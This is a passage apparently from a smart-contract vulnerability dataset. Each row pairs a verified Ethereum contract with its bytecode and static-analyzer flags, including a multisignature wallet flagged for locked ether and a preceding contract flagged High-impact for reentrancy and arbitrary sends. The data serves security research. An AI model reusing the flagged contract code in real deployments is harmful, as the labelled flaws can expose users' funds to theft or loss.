8a6121ca565b905060006126b060646110658b8a6121ca565b905060006126ca876126c484818e88612265565b90612265565b9a9299509097509095505050505050565b60008080806126ea88866121ca565b905060006126f888876121ca565b9050600061270688886121ca565b90506000612718826126c48686612265565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265642e596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697265642e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200875e46c65240ffc3019c5b6f9cc597ce3d78f93bf9813766e4191674c67e97c64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,555 |
0x34cB8F75952dFbC5c40832745bcC851071aF8055
|
/**
*Submitted for verification at Etherscan.io on 2021-09-21
*/
pragma solidity 0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
/*
* Constants
*/
uint256 public constant MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(
ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0
);
_;
}
/// @dev Fallback function allows to deposit ether.
function() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required)
public
validRequirement(_owners.length, _required)
{
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length) changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(
address destination,
uint256 value,
bytes memory data
) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (
external_call(
txn.destination,
txn.value,
txn.data.length,
txn.data
)
) emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(
address destination,
uint256 value,
uint256 dataLength,
bytes memory data
) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(
address destination,
uint256 value,
bytes memory data
) internal notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(
uint256 from,
uint256 to,
bool pending,
bool executed
) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101f257806320ea8d86146102435780632f54bf6e1461027e5780633411c81c146102e7578063547415251461035a5780637065cb48146103b7578063784547a7146104085780638b51d13f1461045b5780639ace38c2146104aa578063a0e67e2b146105a3578063a8abe69a1461060f578063b5dc40c3146106c1578063b77bf60014610751578063ba51a6df1461077c578063c01a8c84146107b7578063c6427474146107f2578063d74f8edd146108f8578063dc8452cd14610923578063e20056e61461094e578063ee22610b146109bf575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101b06004803603602081101561019a57600080fd5b81019080803590602001909291905050506109fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fe57600080fd5b506102416004803603602081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a38565b005b34801561024f57600080fd5b5061027c6004803603602081101561026657600080fd5b8101908080359060200190929190505050610cd0565b005b34801561028a57600080fd5b506102cd600480360360208110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e78565b604051808215151515815260200191505060405180910390f35b3480156102f357600080fd5b506103406004803603604081101561030a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e98565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a16004803603604081101561037d57600080fd5b81019080803515159060200190929190803515159060200190929190505050610ec7565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b50610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f59565b005b34801561041457600080fd5b506104416004803603602081101561042b57600080fd5b8101908080359060200190929190505050611174565b604051808215151515815260200191505060405180910390f35b34801561046757600080fd5b506104946004803603602081101561047e57600080fd5b810190808035906020019092919050505061125b565b6040518082815260200191505060405180910390f35b3480156104b657600080fd5b506104e3600480360360208110156104cd57600080fd5b8101908080359060200190929190505050611326565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561056557808201518184015260208101905061054a565b50505050905090810190601f1680156105925780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105af57600080fd5b506105b861141b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105fb5780820151818401526020810190506105e0565b505050509050019250505060405180910390f35b34801561061b57600080fd5b5061066a6004803603608081101561063257600080fd5b8101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506114a9565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ad578082015181840152602081019050610692565b505050509050019250505060405180910390f35b3480156106cd57600080fd5b506106fa600480360360208110156106e457600080fd5b8101908080359060200190929190505050611619565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561073d578082015181840152602081019050610722565b505050509050019250505060405180910390f35b34801561075d57600080fd5b50610766611855565b6040518082815260200191505060405180910390f35b34801561078857600080fd5b506107b56004803603602081101561079f57600080fd5b810190808035906020019092919050505061185b565b005b3480156107c357600080fd5b506107f0600480360360208110156107da57600080fd5b8101908080359060200190929190505050611915565b005b3480156107fe57600080fd5b506108e26004803603606081101561081557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561085c57600080fd5b82018360208201111561086e57600080fd5b8035906020019184600183028401116401000000008311171561089057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611b08565b6040518082815260200191505060405180910390f35b34801561090457600080fd5b5061090d611b27565b6040518082815260200191505060405180910390f35b34801561092f57600080fd5b50610938611b2c565b6040518082815260200191505060405180910390f35b34801561095a57600080fd5b506109bd6004803603604081101561097157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b32565b005b3480156109cb57600080fd5b506109f8600480360360208110156109e257600080fd5b8101908080359060200190929190505050611e46565b005b600381815481101515610a0957fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7257600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610acb57600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610c51578273ffffffffffffffffffffffffffffffffffffffff16600382815481101515610b5f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c44576003600160038054905003815481101515610bbd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600382815481101515610bf757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c51565b8080600101915050610b29565b506001600381818054905003915081610c6a919061227d565b506003805490506004541115610c8957610c8860038054905061185b565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d2957600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d9457600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610dc457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f5257838015610f06575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f395750828015610f38575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f45576001820191505b8080600101915050610ecf565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9357600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610fed57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561102a57600080fd5b600160038054905001600454603282111580156110475750818111155b8015611054575060008114155b8015611061575060008214155b151561106c57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b600380549050811015611253576001600085815260200190815260200160002060006003838154811015156111b257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611231576001820191505b60045482141561124657600192505050611256565b8080600101915050611181565b50505b919050565b600080600090505b6003805490508110156113205760016000848152602001908152602001600020600060038381548110151561129457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611313576001820191505b8080600101915050611263565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113fe5780601f106113d3576101008083540402835291602001916113fe565b820191906000526020600020905b8154815290600101906020018083116113e157829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561149f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611455575b5050505050905090565b6060806005546040519080825280602002602001820160405280156114dd5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561158b57858015611522575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115555750848015611554575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561157e5780838381518110151561156957fe5b90602001906020020181815250506001820191505b80806001019150506114eb565b8787036040519080825280602002602001820160405280156115bc5781602001602082028038833980820191505090505b5093508790505b8681101561160e5782818151811015156115d957fe5b90602001906020020151848983038151811015156115f357fe5b906020019060200201818152505080806001019150506115c3565b505050949350505050565b6060806003805490506040519080825280602002602001820160405280156116505781602001602082028038833980820191505090505b509050600080905060008090505b60038054905081101561179f5760016000868152602001908152602001600020600060038381548110151561168f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117925760038181548110151561171657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561174f57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061165e565b816040519080825280602002602001820160405280156117ce5781602001602082028038833980820191505090505b509350600090505b8181101561184d5782818151811015156117ec57fe5b90602001906020020151848281518110151561180457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117d6565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189557600080fd5b60038054905081603282111580156118ad5750818111155b80156118ba575060008114155b80156118c7575060008214155b15156118d257600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561196e57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156119e057600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a4c57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611b0185611e46565b5050505050565b6000611b158484846120ee565b9050611b2081611915565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6c57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611bc557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c1f57600080fd5b60008090505b600380549050811015611d09578473ffffffffffffffffffffffffffffffffffffffff16600382815481101515611c5857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cfc5783600382815481101515611caf57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d09565b8080600101915050611c25565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e9f57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f0a57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515611f3a57600080fd5b611f4385611174565b156120e7576000806000878152602001908152602001600020905060018160030160006101000a81548160ff0219169083151502179055506120638160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120595780601f1061202e57610100808354040283529160200191612059565b820191906000526020600020905b81548152906001019060200180831161203c57829003601f168201915b5050505050612256565b1561209a57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26120e5565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561212d57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121ec9291906122a9565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156122a4578183600052602060002091820191016122a39190612329565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ea57805160ff1916838001178555612318565b82800160010185558215612318579182015b828111156123175782518255916020019190600101906122fc565b5b5090506123259190612329565b5090565b61234b91905b8082111561234757600081600090555060010161232f565b5090565b9056fea165627a7a72305820f8e421dfda19ada34bdb137dbd1e757ea686861dcb24f19ecc42ea5a2ed555c80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,556 |
0x2a2a21b9ab81dc5b29b4e1256fa2c00105bc073d
|
pragma solidity 0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
